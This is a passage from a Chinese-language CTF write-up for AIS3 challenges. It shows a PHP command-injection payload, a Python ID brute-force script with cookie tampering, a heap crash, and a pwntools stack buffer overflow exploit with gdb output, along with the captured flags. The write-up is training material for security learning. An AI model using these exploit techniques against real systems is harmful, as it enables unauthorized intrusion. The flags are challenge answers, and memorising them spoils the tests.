$waku=`cd ../../../../../../;ls;./rUn_M3_t0_9et_fL4g`;
echo "<pre>$waku</pre>";
?>
//AIS3{H3yyyyyyyy_U_g0t_mi٩(ˊᗜˋ*)و}

FLAG:AIS3{H3yyyyyyyy_U_g0t_mi٩(ˊᗜˋ*)و}

Poking Bear [100] [baby]


Poke the SECRET BEAR!
Author: wii

route: http://chals1.ais3.org:8987(vpn required)

打開網頁可以發現一個可以戳熊熊(?)的介面,點進去可以發現除了SECRET BEAR之外其他的熊都有一個特殊的號碼掛在http://chals1.ais3.org:8987/bear/{id}之中,所以我們的目標十分明確:找到 SECRET BEAR 的 id!

其他 bear 的 id 都在首頁的 html 裡,所以只要寫段 python 來爆搜沒有在裡面的 id 即可。

1
2
3
4
5
6
7
8
9
10
import requests

url = "http://chals1.ais3.org:8987/bear/"

for i in range(1000):
res = requests.get(url + str(i))
if "This is not even a bear." not in res.text:
print(i)

# 5 29 82 327 350 499 777 ...

可以發現 499 沒有在裡面,訪問 http://chals1.ais3.org:8987/bear/499 可以有一個戳SECRET BEAR的頁面,但戳下去它會說你不是bear poker,這時候直覺看看 cookie 有一個human類別,把後面的值改成bear poker再戳它就可以拿到 flag。

FLAG:AIS3{y0u_P0l<3_7h3_Bear_H@rdLy><}

Pwn

SAAS - Crash [40] [C++][heap][easy]

This challenge is not about Software as a Service, but String as a Service.

You only need to crash the program at remote to get this flag, no need to actually write exploit for it

Author: maple3142

file: https://drive.google.com/file/d/18YJGrtqcZIr5cNufSWAQnWnegHM5ww87/view?usp=sharing

這題給了 source code package 跟 netcat 網址,先看看 source code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

class String {
public:
char *str;
size_t len;

String(const char *s) {
len = strlen(s);
str = new char[len + 1];
strcpy(str, s);
}
~String() { delete[] str; }
};

const int MAX_STRS = 16;
char tmp[4096];
String *strs[MAX_STRS] = {};

int readidx() {
char c;
int idx;
printf("Index: ");
scanf("%d%c", &idx, &c);
if (idx < 0 || idx >= MAX_STRS) {
printf("Bad index\n");
exit(0);
}
return idx;
}

void print(String s) {
printf("Length: %zu\n", s.len);
printf("Content: ");
write(1, s.str, s.len);
printf("\n");
}

void menu() {
printf("===== S(tring)AAS =====\n");
printf("1. Create string\n");
printf("2. Edit string\n");
printf("3. Print string\n");
printf("4. Delete string\n");
}

int main() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
while (true) {
int choice, idx;
char c;
menu();
printf("> ");
scanf("%d", &choice);
switch (choice) {
case 1:
idx = readidx();
printf("Content: ");
scanf("%4095[^\n]", tmp);
scanf("%c", &c);
strs[idx] = new String(tmp);
break;
case 2:
idx = readidx();
printf("New Content: ");
if (strs[idx] != nullptr) {
scanf("%4095[^\n]", tmp);
scanf("%c", &c);
memcpy(strs[idx]->str, tmp, strs[idx]->len);
strs[idx]->str[strs[idx]->len] = 0;
} else {
printf("String #%d doesn't exist!\n", idx);
}
break;
case 3:
idx = readidx();
if (strs[idx] != nullptr) {
print(*strs[idx]);
} else {
printf("String #%d doesn't exist!\n", idx);
}
break;
case 4:
idx = readidx();
if (strs[idx] != nullptr) {
delete strs[idx];
strs[idx] = nullptr;
} else {
printf("String #%d doesn't exist!\n", idx);
}
break;
default:
puts("Bad option");
exit(0);
}
}
return 0;
}

可以發現它的輸入限制 4095 位,那輸入 4096 位是否能讓程式 crash 呢?

構造一個長於 4096 位的字串輸入Create String,接著將它輸出,第一次輸出沒有噴 Error,再次輸出後便 Crash 了,得到 flag。

FLAG:AIS3{congrats_on_crashing_my_editor!_but_can_you_get_shell_from_it?}

很抱歉,窩迷有拿到 shell TAT

BOF2WIN [100] [baby]

Exploit the bof !!
nc chals1.ais3.org 12347
Author: 🎃

file: https://drive.google.com/file/d/1MajFqDwi4SDtCCb-bthHUG9Y5voMv4tN/view?usp=sharing

這題是非常經典的 buffer overflow 題,先來看看 source code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
#include <fcntl.h>

void get_the_flag()
{
char buf[0x30] = {0};
int fd = open("/home/bof2win/flag", O_RDONLY);
read(fd, buf, 0x30);
write(1, buf, 0x30);
close(fd);
}

int main()
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);

char buf[0x10];

puts("What's your name?");
gets(buf);

printf("Hello, %s!\n", buf);
return 0;
}

可以發現gets(buf)的使用部分有漏洞,無法限制是使用者的輸入,所以我們只要蓋掉 buffer 並把 return address 改成get_the_flag的 function address 即可。

先用checksec確定一下開啟的保護機制:

1
2
3
4
5
6
7
> checksec bof2win
[*] 'C:\\Users\\Administrator\\Downloads\\bof2win'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

PIE 沒開,表示 function address 不會被 randomize,可以直接使用 function fixed address

用 gdb 觀察get_the_flag的 function address

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
> gdb bof2win
GNU gdb (Ubuntu 8.1.1-0ubuntu1) 8.1.1
Copyright (C) 2018 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...

pwndbg: loaded 193 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from bof2win...(no debugging symbols found)...done.
pwndbg>
pwndbg> info functions
All defined functions:

Non-debugging symbols:
0x0000000000401000 _init
0x00000000004010b0 puts@plt
0x00000000004010c0 write@plt
0x00000000004010d0 printf@plt
0x00000000004010e0 close@plt
0x00000000004010f0 read@plt
0x0000000000401100 gets@plt
0x0000000000401110 setvbuf@plt
0x0000000000401120 open@plt
0x0000000000401130 _start
0x0000000000401160 _dl_relocate_static_pie
0x0000000000401170 deregister_tm_clones
0x00000000004011a0 register_tm_clones
0x00000000004011e0 __do_global_dtors_aux
0x0000000000401210 frame_dummy
0x0000000000401216 get_the_flag
0x00000000004012a4 main
0x0000000000401330 __libc_csu_init
0x00000000004013a0 __libc_csu_fini
0x00000000004013a8 _fini

可以得到 function address 0x401216

再用 gdb 觀察 buf 跟 ret 的 address

buf address:0x7fffffffdee0

ret address:0x7fffffffdef8

所以要蓋掉0x7fffffffdef8-0x7fffffffdee0=24個字元
寫個 exploit 即可拿到 flag。

1
2
3
4
5
6
7
8
9
from pwn import *

r=remote('chals1.ais3.org',12347)

r.recvline()
r.sendline(b'A'*(24)+p64(0x401216))

r.interactive()
#AIS3{Re@1_B0F_m4st3r!!}

FLAG:AIS3{Re@1_B0F_m4st3r!!}